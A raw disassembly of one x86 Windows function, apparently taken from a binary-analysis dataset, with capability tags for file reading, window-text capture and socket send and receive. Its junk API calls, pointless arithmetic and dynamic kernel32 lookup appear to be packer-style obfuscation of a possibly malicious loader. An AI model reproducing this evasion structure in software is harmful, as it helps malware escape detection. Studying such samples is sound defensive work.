Function at 0x404260
Capabilities:
Get graphical window text
Read and send data from client to server
Read file on windows
Read file via mapping
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c4
mov eax, dword [0x421060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x14]
add dword [0x423164], 0x60
push ebx
push esi
push edi
xor esi, esi
lea edx, [ebp - 0x838]
push edx
push esi
mov dword [ebp - 0x904], eax
mov dword [0x42316c], eax
lea eax, [ebp - 0x8c4]
push eax
push esi
push esi
mov dword [ebp - 0x91c], ecx
mov dword [ebp - 0x8e4], esi
mov dword [ebp - 0x8dc], 0x4f
mov dword [ebp - 0x910], esi
mov dword [0x423168], 0x2d
mov dword [ebp - 0x838], 0x1c
call dword [sym.imp.SETUPAPI.dll_SetupDiEnumDeviceInterfaces]
mov ebx, dword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceInterfaceDetailA]
push esi
lea ecx, [ebp - 0x8ec]
push ecx
push esi
push esi
lea edx, [ebp - 0x838]
push edx
push esi
call ebx
mov ecx, dword [ebp - 0x8ec]
mov edi, eax
mov eax, dword [0x423170]
inc eax
imul eax, eax, 0x5b68
push ecx
mov dword [ebp - 0x8e8], edi
mov dword [ebp - 0x950], 0x21c
mov dword [0x423164], eax
call fcn.0040750c
add esp, 4
push 0
mov esi, eax
mov eax, dword [ebp - 0x8ec]
lea edx, [ebp - 0x8ec]
push edx
push eax
push esi
lea ecx, [ebp - 0x838]
push ecx
push 0
call ebx
test eax, eax
push 0
setne bl
call dword [sym.imp.KERNEL32.dll_LocalFree]
test bl, bl
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x423170], eax
jne 0x404361
call ebx
jmp 0x404376
mov edx, dword [0x423168]
mov eax, dword [0x423164]
lea ecx, [edx + eax + 0xe]
mov dword [0x423168], ecx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [0x423178]
xor esi, esi
push esi
push esi
push esi
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [ebp - 0x904]
push 0x38
mov dword [ebp - 0x8d8], eax
xor eax, eax
lea ecx, [ebp - 0x8b0]
push esi
push ecx
mov dword [ebp - 0x934], eax
mov dword [ebp - 0x930], eax
mov dword [ebp - 0x92c], eax
mov dword [ebp - 0x8b4], esi
call fcn.0040a2b0
add esp, 0xc
call ebx
lea edx, [ebp - 0x8b4]
push edx
push 0x3c
push 0x11
mov dword [ebp - 0x914], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x4043f1
mov dword [ebp - 0x8dc], esi
lea eax, [ebp - 0x838]
push eax
call fcn.00405dd0
mov ecx, dword [ebp - 0x824]
mov dword [ebp - 0x8d4], esi
mov esi, dword [ecx]
mov eax, dword [esi + 4]
lea edx, [ebp - 0x8d4]
push edx
push eax
push esi
call fcn.00406950
lea ecx, [ebp - 0x838]
mov ebx, eax
call fcn.00406990
movzx edx, word [0x423178]
mov dword [esi + 4], ebx
mov ecx, dword [ebx + 4]
mov dword [ecx], ebx
mov eax, dword [ebp - 0x824]
lea ebx, [eax + 4]
lea ecx, [ebp - 0x8d4]
mov dword [ebp - 0x8d4], edx
mov edx, dword [ebx]
push ecx
push edx
push eax
call fcn.00406950
lea ecx, [ebp - 0x838]
mov esi, eax
call fcn.00406990
mov ecx, dword [ebp - 0x91c]
fild dword [ebp - 0x91c]
mov dword [ebx], esi
mov eax, dword [esi + 4]
mov dword [eax], esi
test ecx, ecx
jge 0x404481
fadd qword [0x41b348]
fst qword [ebp - 0x958]
fild dword [0x423168]
fstp qword [ebp - 0x90c]
call fcn.004158b0
fstp qword [ebp - 0x928]
fld qword [ebp - 0x90c]
call fcn.00415ea0
fsubr qword [ebp - 0x928]
fadd qword [ebp - 0x90c]
call fcn.00415970
mov dword [0x423168], eax
mov eax, dword [ebp - 0x824]
movzx edx, di
lea ebx, [eax + 4]
lea ecx, [ebp - 0x8d4]
mov dword [ebp - 0x8d4], edx
mov edx, dword [ebx]
push ecx
push edx
push eax
call fcn.00406950
lea ecx, [ebp - 0x838]
mov esi, eax
call fcn.00406990
mov ecx, dword [ebp - 0x8dc]
push 0
push ecx
mov dword [ebx], esi
mov eax, dword [esi + 4]
push 0
push 0
mov dword [eax], esi
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
cmp dword [0x423168], 0
je 0x404527
fild dword [ebp - 0x930]
sub esp, 8
fstp qword [esp]
call fcn.004073a0
fstp st(0)
add esp, 8
mov esi, dword [ebp - 0x8dc]
xor ebx, ebx
push ebx
push ebx
push 0x64
push esi
call dword [sym.imp.GDI32.dll_MoveToEx]
push edi
push ebx
push ebx
lea edx, [ebp - 0xc]
push edx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.GDI32.dll_CreatePolyPolygonRgn]
mov ecx, dword [ebp - 0x8d8]
lea edx, [eax + ecx + 0x181]
mov ecx, dword [0x42317c]
mov dword [ebp - 0x924], edx
mov eax, 0x6bca1af3
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, dword [ebp - 0x91c]
jb 0x4045c8
fldz
call fcn.00415b90
fstp dword [ebp - 0x8d4]
fld dword [ebp - 0x8d4]
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x210]
movzx eax, dx
mov dword [ebp - 0x8d4], ecx
fiadd dword [ebp - 0x8d4]
mov dword [ebp - 0x8d4], eax
fild dword [ebp - 0x8d4]
faddp st(1)
call fcn.00415970
mov esi, eax
mov dword [ebp - 0x8dc], esi
mov ecx, dword [0x423170]
push ecx
push edi
push ebx
push esi
push 1
push ebx
call dword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov dword [0x42317c], eax
mov esi, 0x247
push 0x20
lea edx, [ebp - 0x110]
push edx
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x404605
mov eax, dword [0x423178]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
sub esi, 1
jne 0x4045e5
fild dword [0x423164]
add dword [ebp - 0x914], 0x21c
sub esp, 8
fst qword [ebp - 0x90c]
fstp qword [esp]
call fcn.00415a20
fsubr qword [0x41b360]
add esp, 8
fadd qword [0x41b368]
fadd qword [ebp - 0x90c]
call fcn.00415970
mov dword [0x423164], eax
mov eax, dword [ebp - 0x914]
mov dword [0x423174], eax
cmp ax, bx
jne 0x404663
movzx ecx, al
mov dword [0x423168], ecx
mov ecx, dword [ebp - 0x824]
mov eax, dword [ecx]
mov dword [ecx], ecx
mov ecx, dword [ebp - 0x824]
mov dword [ecx + 4], ecx
mov ecx, dword [ebp - 0x824]
mov dword [ebp - 0x820], ebx
cmp eax, ecx
je 0x40469d
mov esi, dword [eax]
push eax
call fcn.0040792e
mov ecx, dword [ebp - 0x824]
add esp, 4
mov eax, esi
cmp esi, ecx
jne 0x404686
push ecx
call fcn.0040792e
mov edx, dword [ebp - 0x838]
add esp, 4
push edx
mov dword [ebp - 0x824], ebx
call fcn.0040792e
mov eax, dword [ebp - 0x904]
mov esi, dword [ebp - 0x91c]
add esp, 4
push 0xff
lea ecx, [ebp - 0x20f]
push ebx
push ecx
mov dword [ebp - 0x900], ebx
mov dword [ebp - 0x8fc], eax
mov dword [ebp - 0x920], ebx
mov byte [ebp - 0x210], bl
call fcn.0040a2b0
mov edx, dword [ebp - 0x8dc]
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x930], ebx
mov dword [ebp - 0x92c], ebx
mov dword [ebp - 0x8c0], eax
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 0x96c], eax
cmp dword [0x42317c], edx
je 0x40476e
fldz
sub esp, 8
fstp qword [esp]
call fcn.00415a20
fldz
fadd st(1), st(0)
add esp, 8
fnstcw word [ebp - 0x8de]
movzx eax, word [ebp - 0x8de]
faddp st(1)
or eax, 0xc00
mov dword [ebp - 0x8d4], eax
fsubr qword [ebp - 0x958]
fldcw word [ebp - 0x8d4]
fistp qword [ebp - 0x90c]
mov esi, dword [ebp - 0x90c]
fldcw word [ebp - 0x8de]
push edi
push ebx
push 0x1109
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
push 4
call fcn.00407df7
xor ecx, ecx
add esp, 4
cmp eax, ecx
je 0x404796
lea edx, [ebp - 0x890]
mov dword [eax], edx
jmp 0x404798
xor eax, eax
push ecx
push eax
mov dword [ebp - 0x890], eax
push 0x423168
lea eax, [ebp - 0x960]
push eax
lea eax, [ebp - 0x890]
mov dword [ebp - 0x884], ecx
mov dword [ebp - 0x880], ecx
mov dword [ebp - 0x87c], ecx
call fcn.004060b0
mov ecx, esi
mov dword [ebp - 0x908], ecx
fild dword [ebp - 0x908]
test ecx, ecx
jge 0x4047e1
fadd qword [0x41b348]
sub esp, 8
fstp qword [esp]
call fcn.00415a20
fdiv qword [0x41b358]
mov eax, 0x38e38e39
add esp, 8
mul dword [ebp - 0x8fc]
xor eax, eax
movzx eax, al
shr edx, 2
sub eax, edx
mov dword [ebp - 0x908], eax
fild dword [ebp - 0x908]
test eax, eax
jge 0x404820
fadd qword [0x41b348]
faddp st(1)
fnstcw word [ebp - 0x8de]
movzx eax, word [ebp - 0x8de]
fisub dword [0x423164]
or eax, 0xc00
mov dword [ebp - 0x8d4], eax
xor eax, eax
cdq
fisub dword [ebp - 0x92c]
fisub dword [ebp - 0x8b8]
fldcw word [ebp - 0x8d4]
fistp qword [ebp - 0x90c]
mov ecx, dword [ebp - 0x90c]
mov dword [ebp - 0x8fc], ecx
lea ecx, [edi + 0x36]
idiv ecx
fldcw word [ebp - 0x8de]
mov dword [ebp - 0x8d4], eax
xor eax, eax
movzx ecx, ax
mov eax, 0x30c30c31
imul ecx
mov ecx, dword [ebp - 0x8d4]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
movzx edx, si
mov esi, dword [ebp - 0x880]
add eax, edx
sub eax, dword [ebp - 0x96c]
mov dword [ebp - 0x8ec], eax
mov eax, esi
sub eax, dword [ebp - 0x884]
test eax, 0xfffffffc
je 0x4048f8
fldz
mov eax, 0x34c439b7
imul ebx
fld st(0)
fabs
fstp dword [ebp - 0x8d4]
fld dword [ebp - 0x8d4]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dword [ebp - 0x8d4], ecx
fimul dword [ebp - 0x8d4]
faddp st(1)
call fcn.00415970
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x914], ebx
mov dword [ebp - 0x8d4], ebx
jle 0x4051c1
mov dl, byte [ebp - 0x914]
fild dword [ebp - 0x96c]
lea eax, [ebp - 0x210]
movzx ecx, al
mov byte [ebp - 0x8dd], dl
mov byte [ebp - 0x915], bl
mov ebx, dword [ebp - 0x8e8]
lea edx, [ebp - 0x81c]
mov dword [ebp - 0x94c], ecx
movzx eax, dx
movzx ecx, bl
mov dword [ebp - 0x948], eax
mov dword [ebp - 0x954], ecx
call fcn.00415fd0
movzx eax, byte [ebp - 0x8dc]
movzx edx, bx
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 8], eax
fild dword [ebp - 0x8d8]
fmulp st(1)
fstp qword [ebp - 0x984]
jmp 0x404986
mov esi, dword [ebp - 0x880]
mov ecx, dword [ebp - 0x884]
xor edi, edi
cmp ecx, edi
jne 0x404996
xor eax, eax
jmp 0x4049a1
mov eax, dword [ebp - 0x87c]
sub eax, ecx
sar eax, 2
mov edx, esi
sub edx, ecx
sar edx, 2
cmp edx, eax
jae 0x4049bf
mov eax, esi
add eax, 4
mov dword [esi], 0x21c
mov dword [ebp - 0x880], eax
jmp 0x4049ef
cmp ecx, esi
jbe 0x4049c8
call fcn.004077ea
mov eax, dword [ebp - 0x890]
push esi
push eax
lea eax, [ebp - 0x950]
push eax
lea ecx, [ebp - 0x9b4]
push ecx
lea eax, [ebp - 0x890]
call fcn.004060b0
mov eax, dword [ebp - 0x880]
mov edx, dword [ebp - 0x884]
mov ebx, dword [ebp - 0x910]
mov dword [ebp - 0x8d8], ebx
cmp edx, edi
jne 0x404a09
xor ecx, ecx
jmp 0x404a14
mov ecx, dword [ebp - 0x87c]
sub ecx, edx
sar ecx, 2
mov esi, eax
sub esi, edx
sar esi, 2
cmp esi, ecx
jae 0x404a2c
mov dword [eax], ebx
add eax, 4
mov dword [ebp - 0x880], eax
jmp 0x404a58
mov esi, eax
cmp edx, eax
jbe 0x404a37
call fcn.004077ea
mov eax, dword [ebp - 0x890]
push esi
push eax
lea edx, [ebp - 0x8d8]
push edx
lea eax, [ebp - 0x9c4]
push eax
lea eax, [ebp - 0x890]
call fcn.004060b0
push 4
call fcn.00407df7
add esp, 4
cmp eax, edi
je 0x404a70
lea ecx, [ebp - 0x834]
mov dword [eax], ecx
jmp 0x404a72
xor eax, eax
xor ecx, ecx
push ecx
push eax
mov dword [ebp - 0x834], eax
lea edx, [ebp - 0x8d8]
push edx
lea eax, [ebp - 0x994]
push eax
lea eax, [ebp - 0x834]
mov dword [ebp - 0x828], edi
mov dword [ebp - 0x824], edi
mov dword [ebp - 0x820], edi
mov dword [ebp - 0x8d8], ebx
call fcn.004060b0
mov edx, dword [ebp - 0x828]
cmp edx, edi
jne 0x404abb
xor ecx, ecx
jmp 0x404ac6
mov ecx, dword [ebp - 0x820]
sub ecx, edx
sar ecx, 2
mov eax, dword [ebp - 0x824]
mov esi, eax
sub esi, edx
sar esi, 2
cmp esi, ecx
jae 0x404aea
mov ecx, dword [ebp - 0x8e4]
mov dword [eax], ecx
add eax, 4
mov dword [ebp - 0x824], eax
jmp 0x404b16
mov esi, eax
cmp edx, eax
jbe 0x404af5
call fcn.004077ea
mov eax, dword [ebp - 0x834]
push esi
push eax
lea edx, [ebp - 0x8e4]
push edx
lea eax, [ebp - 0x98c]
push eax
lea eax, [ebp - 0x834]
call fcn.004060b0
push edi
push edi
push edi
push edi
call dword [sym.imp.CRYPT32.dll_PFXExportCertStore]
mov edx, dword [ebp - 0x828]
mov esi, dword [0x423178]
mov dword [ebp - 0x8e4], eax
mov dword [ebp - 0x8d8], esi
cmp edx, edi
jne 0x404b40
xor ecx, ecx
jmp 0x404b4b
mov ecx, dword [ebp - 0x820]
sub ecx, edx
sar ecx, 2
mov eax, dword [ebp - 0x824]
mov edi, eax
sub edi, edx
sar edi, 2
cmp edi, ecx
jae 0x404b69
mov dword [eax], esi
add eax, 4
mov dword [ebp - 0x824], eax
jmp 0x404b95
mov esi, eax
cmp edx, eax
jbe 0x404b74
call fcn.004077ea
mov eax, dword [ebp - 0x834]
push esi
push eax
lea ecx, [ebp - 0x8d8]
push ecx
lea edx, [ebp - 0x9a4]
push edx
lea eax, [ebp - 0x834]
call fcn.004060b0
test bl, bl
je 0x404ba6
movzx eax, byte [ebp - 0x8ec]
mov dword [ebp - 0x920], eax
push 0
push 0
push 0
call dword [sym.imp.CRYPT32.dll_PFXImportCertStore]
mov dword [ebp - 0x8f4], eax
mov ebx, 0x5f
lea ecx, [ecx]
mov ecx, dword [ebp - 0x8dc]
mov edx, dword [0x423168]
xor eax, eax
push ecx
mov dword [ebp - 0x934], eax
mov dword [ebp - 0x930], eax
mov dword [ebp - 0x92c], eax
push edx
lea eax, [ebp - 0x938]
push eax
dec ebx
mov dword [ebp - 0x938], 0
call dword [sym.imp.USER32.dll_OffsetRect]
push 4
call fcn.00407df7
add esp, 4
test eax, eax
je 0x404c12
lea ecx, [ebp - 0x854]
mov dword [eax], ecx
jmp 0x404c14
xor eax, eax
mov dword [ebp - 0x854], eax
call fcn.00406190
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x83c], 0
mov esi, dword [eax]
mov eax, dword [esi + 4]
lea edx, [ebp - 0x915]
push edx
push eax
push esi
call fcn.00406a80
lea ecx, [ebp - 0x854]
mov edi, eax
call fcn.00406ac0
mov dl, byte [0x423174]
mov dword [esi + 4], edi
mov ecx, dword [edi + 4]
mov dword [ecx], edi
mov eax, dword [ebp - 0x840]
lea edi, [eax + 4]
lea ecx, [ebp - 0x8ed]
mov byte [ebp - 0x8ed], dl
mov edx, dword [edi]
push ecx
push edx
push eax
call fcn.00406a80
lea ecx, [ebp - 0x854]
mov esi, eax
call fcn.00406ac0
mov dword [edi], esi
mov eax, dword [esi + 4]
mov dword [eax], esi
mov eax, dword [ebp - 0x840]
mov edx, dword [eax + 4]
lea edi, [eax + 4]
lea ecx, [ebp - 0x8dd]
push ecx
push edx
push eax
call fcn.00406a80
lea ecx, [ebp - 0x854]
mov esi, eax
call fcn.00406ac0
mov ecx, dword [ebp - 0x920]
mov dword [edi], esi
mov eax, dword [esi + 4]
mov dword [eax], esi
lea edx, [ecx + ecx]
mov ecx, dword [ebp - 0x840]
mov eax, dword [ecx]
sub edx, dword [ebp - 0x948]
mov dword [ecx], ecx
mov ecx, dword [ebp - 0x840]
sub edx, dword [ebp - 0x94c]
mov dword [ecx + 4], ecx
mov ecx, dword [ebp - 0x840]
mov dword [ebp - 0x920], edx
mov dword [ebp - 0x83c], 0
cmp eax, ecx
je 0x404d17
mov esi, dword [eax]
push eax
call fcn.0040792e
mov ecx, dword [ebp - 0x840]
add esp, 4
mov eax, esi
cmp esi, ecx
jne 0x404d00
push ecx
call fcn.0040792e
mov eax, dword [ebp - 0x854]
add esp, 4
push eax
mov dword [ebp - 0x840], 0
call fcn.0040792e
add esp, 4
test ebx, ebx
jne 0x404bc0
mov eax, dword [0x423170]
mov dword [ebp - 0x8d8], 8
cmp dword [ebp - 0x8e4], eax
jne 0x404d6e
mov ecx, dword [ebp - 0x8f4]
cmp ecx, dword [0x423178]
jne 0x404d6e
mov esi, dword [0x42317c]
jmp 0x404d70
xor esi, esi
mov edx, dword [0x423168]
mov edi, dword [ebp - 0x8dc]
mov ebx, dword [ebp - 0x8ec]
imul edx, edi
movzx eax, al
lea ecx, [eax*8]
sub ecx, eax
mov eax, dword [ebp - 8]
add ecx, ecx
add ecx, ecx
sub ecx, edx
mov edx, dword [0x423174]
sub ecx, dword [ebp - 0x954]
add eax, edx
mov dword [ebp - 0x8f4], eax
sub ecx, ebx
fild dword [ebp - 0x8f4]
add dword [0x423164], ecx
fadd qword [ebp - 0x984]
call fcn.00415970
mov dword [ebp - 0x8e4], eax
test esi, esi
je 0x405117
mov dword [ebp - 0x908], ebx
fild dword [ebp - 0x908]
mov dword [ebp - 0x95c], 0
test ebx, ebx
jge 0x404df5
fadd dword [0x41b350]
call fcn.00415b90
imul edi, edi, 0x21c
fstp dword [ebp - 0x8f4]
fld dword [ebp - 0x8f4]
mov dword [ebp - 0x8f4], edi
fiadd dword [ebp - 0x8f4]
call fcn.00415970
mov dword [ebp - 0x908], eax
dec dword [ebp - 0x8d8]
push 4
call fcn.00407df7
add esp, 4
test eax, eax
je 0x404e41
lea ecx, [ebp - 0x850]
mov dword [eax], ecx
jmp 0x404e43
xor eax, eax
mov esi, dword [ebp - 0x8fc]
mov ecx, dword [ebp - 0x95c]
movzx edx, si
push ecx
push eax
mov dword [ebp - 0x8f4], edx
mov dword [ebp - 0x850], eax
lea edx, [ebp - 0x8f4]
push edx
lea eax, [ebp - 0x9ac]
xor ebx, ebx
push eax
lea eax, [ebp - 0x850]
mov dword [ebp - 0x844], ebx
mov dword [ebp - 0x840], ebx
mov dword [ebp - 0x83c], ebx
call fcn.004061b0
mov edi, dword [0x423168]
mov edx, dword [ebp - 0x844]
movzx ecx, di
mov dword [ebp - 0x8f4], ecx
cmp edx, ebx
jne 0x404eaa
xor ecx, ecx
jmp 0x404eb4
mov ecx, dword [ebp - 0x83c]
sub ecx, edx
sar ecx, 1
mov eax, dword [ebp - 0x840]
mov ebx, eax
sub ebx, edx
sar ebx, 1
cmp ebx, ecx
jae 0x404ed2
lea ecx, [eax + 2]
mov word [eax], di
mov dword [ebp - 0x840], ecx
jmp 0x404f04
mov edi, eax
cmp edx, eax
jbe 0x404edd
call fcn.004077ea
mov eax, dword [ebp - 0x850]
push edi
push eax
lea edx, [ebp - 0x8f4]
push edx
lea eax, [ebp - 0x99c]
push eax
lea eax, [ebp - 0x850]
call fcn.004061b0
mov ecx, dword [ebp - 0x840]
xor ebx, ebx
cmp dword [ebp - 0x924], ebx
je 0x404f20
movzx esi, word [ebp - 0x8ec]
mov dword [ebp - 0x8fc], esi
jmp 0x404fbc
fldz
sub esp, 8
fstp qword [esp]
call fcn.004073a0
fstp dword [ebp - 0x8f4]
fld dword [ebp - 0x8f4]
mov eax, 0x6d978b8f
mul dword [ebp - 0x8ec]
shr edx, 8
add esp, 8
mov dword [ebp - 0x8f4], edx
fild dword [ebp - 0x8f4]
test edx, edx
jge 0x404f60
fadd dword [0x41b350]
mov ecx, dword [ebp - 0x910]
faddp st(1)
fadd qword [0x41b368]
fild dword [ebp - 0x910]
test ecx, ecx
jge 0x404f7e
fadd qword [0x41b348]
mov ecx, dword [ebp - 0x840]
fnstcw word [ebp - 0x8ee]
movzx eax, word [ebp - 0x8ee]
faddp st(1)
or eax, 0xc00
mov dword [ebp - 0x8f4], eax
fldcw word [ebp - 0x8f4]
fistp qword [ebp - 0x8f8]
mov edx, dword [ebp - 0x8f8]
mov dword [ebp - 0x910], edx
fldcw word [ebp - 0x8ee]
mov edx, dword [ebp - 0x8b8]
xor eax, eax
mov eax, esi
mov esi, dword [ebp - 0x900]
add edx, esi
cmp eax, edx
jae 0x404fda
xor eax, eax
add dword [ebp - 0x900], eax
mov edi, dword [0x423168]
mov edx, dword [ebp - 0x844]
movzx eax, di
mov dword [ebp - 0x8f4], eax
cmp edx, ebx
jne 0x404ff7
xor eax, eax
jmp 0x405001
mov eax, dword [ebp - 0x83c]
sub eax, edx
sar eax, 1
mov esi, ecx
sub esi, edx
sar esi, 1
cmp esi, eax
jae 0x40501b
mov eax, ecx
add eax, 2
mov word [ecx], di
mov dword [ebp - 0x840], eax
jmp 0x40504d
mov edi, ecx
cmp edx, ecx
jbe 0x405026
call fcn.004077ea
mov eax, dword [ebp - 0x850]
push edi
push eax
lea ecx, [ebp - 0x8f4]
push ecx
lea edx, [ebp - 0x9bc]
push edx
lea eax, [ebp - 0x850]
call fcn.004061b0
mov eax, dword [ebp - 0x840]
mov esi, dword [ebp - 0x908]
mov edx, dword [ebp - 0x844]
movzx ecx, si
mov dword [0x423164], esi
mov dword [ebp - 0x8f4], ecx
cmp edx, ebx
jne 0x405070
xor ecx, ecx
jmp 0x40507a
mov ecx, dword [ebp - 0x83c]
sub ecx, edx
sar ecx, 1
mov edi, eax
sub edi, edx
sar edi, 1
cmp edi, ecx
jae 0x405092
mov word [eax], si
add eax, 2
mov dword [ebp - 0x840], eax
jmp 0x4050be
mov edi, eax
cmp edx, eax
jbe 0x40509d
call fcn.004077ea
mov eax, dword [ebp - 0x850]
push edi
push eax
lea edx, [ebp - 0x8f4]
push edx
lea eax, [ebp - 0x968]
push eax
lea eax, [ebp - 0x850]
call fcn.004061b0
mov ecx, dword [ebp - 0x840]
mov eax, dword [ebp - 0x844]
sub ecx, eax
test ecx, 0xfffffffe
je 0x4050db
sub dword [ebp - 0x840], 2
cmp eax, ebx
je 0x4050e8
push eax
call fcn.0040792e
add esp, 4
mov edx, dword [ebp - 0x850]
push edx
mov dword [ebp - 0x844], ebx
mov dword [ebp - 0x840], ebx
mov dword [ebp - 0x83c], ebx
call fcn.0040792e
add esp, 4
cmp dword [ebp - 0x8d8], ebx
jne 0x404e23
jmp 0x40516c
xor eax, eax
mov dword [ebp - 0x850], eax
mov dword [ebp - 0x84c], eax
mov dword [ebp - 0x858], eax
mov dword [ebp - 0x854], eax
mov dword [ebp - 0x848], eax
mov dword [ebp - 0x844], eax
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x83c], eax
lea ecx, [ebp - 0x858]
lea eax, [ebp - 0x318]
push ecx
mov dword [ebp - 0x84c], str.Desire
mov dword [ebp - 0x850], eax
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
mov eax, dword [ebp - 0x828]
xor esi, esi
cmp eax, esi
je 0x405181
push eax
call fcn.0040792e
add esp, 4
mov edx, dword [ebp - 0x834]
push edx
mov dword [ebp - 0x828], esi
mov dword [ebp - 0x824], esi
mov dword [ebp - 0x820], esi
call fcn.0040792e
mov eax, dword [ebp - 0x8d4]
inc eax
add esp, 4
cmp eax, dword [ebp - 0x914]
mov dword [ebp - 0x8d4], eax
jl 0x404980
mov edi, dword [ebp - 0x8e8]
mov eax, dword [0x423170]
imul eax, dword [0x423168]
imul eax, dword [ebp - 0x914]
add eax, 2
mov dword [ebp - 0x8fc], eax
mov eax, dword [ebp - 0x884]
xor esi, esi
cmp eax, esi
je 0x4051f2
push eax
call fcn.0040792e
add esp, 4
mov eax, dword [ebp - 0x890]
push eax
mov dword [ebp - 0x884], esi
mov dword [ebp - 0x880], esi
mov dword [ebp - 0x87c], esi
call fcn.0040792e
add esp, 4
cmp dword [ebp - 0x8dc], 0x21c
jge 0x40522b
mov ecx, dword [ebp - 0x8e4]
add dword [ebp - 0x8dc], ecx
mov esi, dword [ebp - 0x91c]
mov eax, dword [ebp - 0x8e4]
mov edx, dword [ebp - 0x904]
mov ecx, dword [ebp - 0x8dc]
push 0
push esi
push esi
push eax
mov eax, dword [0x423164]
push 0x1dc
push ecx
mov dword [ebp + esi - 0x3f0], edx
mov edx, dword [0x423168]
push edx
push eax
lea ecx, [ebp - 0x81c]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.USER32.dll_CreateMDIWindowW]
push str.Semafor
push 1
push 1
push 0
mov dword [ebp - 0x8f0], eax
mov dword [0x423178], eax
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.SharedMemory
push 8
push 0
push 4
push 0
push 0xffffffffffffffff
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0xffffffffffffffff
push ebx
mov dword [ebp - 0x8e8], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x8e8]
push 8
push 0
push 0
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [str.Window]
mov dx, word [0x41b170]
mov ebx, dword [ebp - 0x904]
mov al, byte [0x41b172]
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], dx
push 0x7f00
lea ecx, [ebp - 0xc]
lea edx, [edi + 0x1000]
push 0
mov byte [ebp - 6], al
mov dword [ebp - 0x894], ebx
mov dword [ebp - 0x880], ecx
mov dword [ebp - 0x8a0], 0x401240
mov dword [ebp - 0x8a4], 8
mov dword [ebp - 0x8a8], 0x30
mov dword [ebp - 0x8d8], edx
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push 0
mov dword [ebp - 0x890], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x41b174
push str.kernel32.dll
mov dword [ebp - 0x87c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x924], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov ecx, dword [0x423168]
mov dword [ebp - 0x88c], eax
xor eax, eax
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x8fc]
add esi, eax
mov eax, dword [ebp - 0x8dc]
sub ebx, eax
add ecx, eax
mov eax, dword [ebp - 0x8d8]
dec ebx
imul ebx, ecx
add ebx, dword [ebp - 0x8fc]
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
lea edx, [ebp - 0x8a8]
add eax, eax
push edx
mov dword [ebp - 0x8e4], ebx
mov dword [ebp - 0x8e8], eax
mov dword [ebp - 0x898], 0
mov dword [ebp - 0x888], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
jne 0x405407
mov dword [0x423168], 0
mov ecx, dword [ebp - 0x904]
mov eax, dword [ebp - 0x8d8]
push 0
imul eax, eax, 0x47
push ecx
push 0
push 0
push 0x12c
push 0x190
push closesocket
mov ebx, edi
imul ebx, dword [ebp - 0x8dc]
push closesocket
push 0xcf0000
push str.Windows_App
lea edx, [ebp - 0xc]
push edx
push 0
add ebx, eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, dword [ebp - 0x8f0]
lea edx, [edi + ecx]
sub esi, edi
imul esi, edx
inc ecx
imul esi, ecx
mov ecx, dword [0x423178]
imul esi, dword [ebp - 0x910]
imul ecx, edi
add esi, ecx
mov ecx, dword [ebp - 0x8d8]
push 0xfffffffffffffff0
shl ecx, 6
push eax
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x8dc], esi
mov dword [ebp - 0x908], ecx
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, dword [ebp - 0x900]
and eax, 0xff3bffff
push eax
push 0xfffffffffffffff0
push edx
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0xa0
push 0xa0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
mov esi, eax
mov eax, dword [ebp - 0x8e8]
push 3
push eax
push esi
push esi
call dword [sym.imp.GDI32.dll_CombineRgn]
mov ecx, dword [ebp - 0x8f0]
push 1
push esi
push ecx
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov edx, dword [ebp - 0x8e8]
mov eax, dword [ebp - 0x908]
push ebx
push edx
push eax
call dword [ebp - 0x924]
push esi
mov dword [ebp - 0x8e8], eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [0x423164]
